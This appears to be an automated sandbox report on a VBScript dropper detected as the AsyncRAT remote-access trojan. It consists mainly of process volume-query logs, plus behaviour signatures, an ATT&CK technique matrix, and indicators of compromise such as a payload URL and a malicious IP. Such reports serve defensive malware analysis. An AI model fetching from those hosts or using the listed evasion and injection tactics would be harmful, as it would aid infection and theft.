Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0513~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 0000000D.00000002.3418123386.0000000003431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.3391172871.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1524, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6100, type: MEMORYSTR

Source: RegSvcs.exe, 0000000D.00000002.3429100433.0000000005A50000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	222 Scripting	Valid Accounts	1 Windows Management Instrumentation	222 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	212 Process Injection	12 Obfuscated Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	2 Scheduled Task/Job	2 Scheduled Task/Job	1 Software Packing	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Scheduled Task/Job	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	3 PowerShell	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Modify Registry	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Virtualization/Sandbox Evasion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	212 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
H#0813-186765.vbs	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://aka.ms/winsvr-2022-pshelp	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
varietydirectoutlet.com	122.201.127.73	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://varietydirectoutlet.com/redro/sasa.gif	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2355212924.000001CC10071000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000002.00000002.2332057213.000001CC0043D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.2332057213.000001CC00227000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://varietydirectoutlet.com	powershell.exe, 00000002.00000002.2332057213.000001CC00227000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000002.00000002.2332057213.000001CC0043D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.micro/fwlink/?LinkId=	powershell.exe, 00000002.00000002.2373810622.000001CC6F316000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.2332057213.000001CC00227000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://go.micro	powershell.exe, 00000002.00000002.2373810622.000001CC6F316000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000002.00000002.2332057213.000001CC0043D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000002.00000002.2355212924.000001CC10071000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2355212924.000001CC10071000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000002.00000002.2355212924.000001CC10071000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000002.00000002.2355212924.000001CC10071000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.2332057213.000001CC00001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2332057213.000001CC00001000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.3418123386.0000000003431000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.2332057213.000001CC00227000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://www.microsoft.coyZ	powershell.exe, 00000002.00000002.2371780956.000001CC6F208000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
88.119.175.153	unknown	Lithuania		61272	IST-ASLT	true
122.201.127.73	varietydirectoutlet.com	Australia		38719	DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532152
Start date and time:	2024-10-12 16:38:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	H#0813-186765.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@34/36@1/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 97% Number of executed functions: 47 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

